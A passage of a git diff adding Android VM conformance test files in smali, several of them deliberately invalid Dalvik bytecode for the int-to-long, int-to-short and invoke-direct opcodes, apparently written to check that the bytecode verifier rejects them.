+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       const-wide v4, 3.1415    
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali
new file mode 100644
index 0000000..81bebb1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_3.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       const-wide v4, 123455    
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali
new file mode 100644
index 0000000..deddd82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_4.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 1
+
+       const v0, 1234
+       int-to-long v0, v0
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali
new file mode 100644
index 0000000..130ab63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_5.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali
new file mode 100644
index 0000000..8d34b62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_6.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       int-to-long v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali
new file mode 100644
index 0000000..3edbd53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_7.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v6
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali
new file mode 100644
index 0000000..5d66043
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_1.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali
new file mode 100644
index 0000000..e55c77b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_2.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-short v2, v0
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali
new file mode 100644
index 0000000..4db865f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_3.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       const-wide v0, 1234
+       int-to-short v2, v0
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali
new file mode 100644
index 0000000..473c5a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_4.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v2, v3
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali
new file mode 100644
index 0000000..e97e5ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_5.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)S
+.registers 5
+
+       int-to-short v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali
new file mode 100644
index 0000000..e328b80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_6.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v0, v5
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali
new file mode 100644
index 0000000..403e003
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_1.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_1;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TSuper;->toInt()I
+       move-result v1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali
new file mode 100644
index 0000000..12753a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_10.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       const v0, 1222
+       invoke-direct {v0}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_10;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali
new file mode 100644
index 0000000..82f9b2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali

@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_11.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_11;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
+.method private static toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali
new file mode 100644
index 0000000..0fbe0d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_12.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_12;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TSuper;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali
new file mode 100644
index 0000000..5977154
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_13.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_13;
+.super  Ldot/junit/opcodes/invoke_direct/TAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TAbstract;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali
new file mode 100644
index 0000000..758df2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali

@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_14.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v3, 50
+       const v4, 25
+       
+       invoke-direct {v6, v3}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_14;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali
new file mode 100644
index 0000000..1c0480b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_15.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v3}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_15;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali
new file mode 100644
index 0000000..f75a043
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali

@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_16.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_16;->toInt()F
+       
+       const/4 v1, 0
+       return v1
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali
new file mode 100644
index 0000000..519bf89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_17.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ljava/lang/String;
+       invoke-direct {v0} , Ljava/lang/String;-><init>()V
+         invoke-direct {v0} , Ljava/lang/String;-><init>()V
+       return-void       
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali
new file mode 100644
index 0000000..10c18c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_18.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_18;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       const v0, 0
+       iput v0, v1, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_18;->val:I
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali
new file mode 100644
index 0000000..8518e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_2.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_2;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

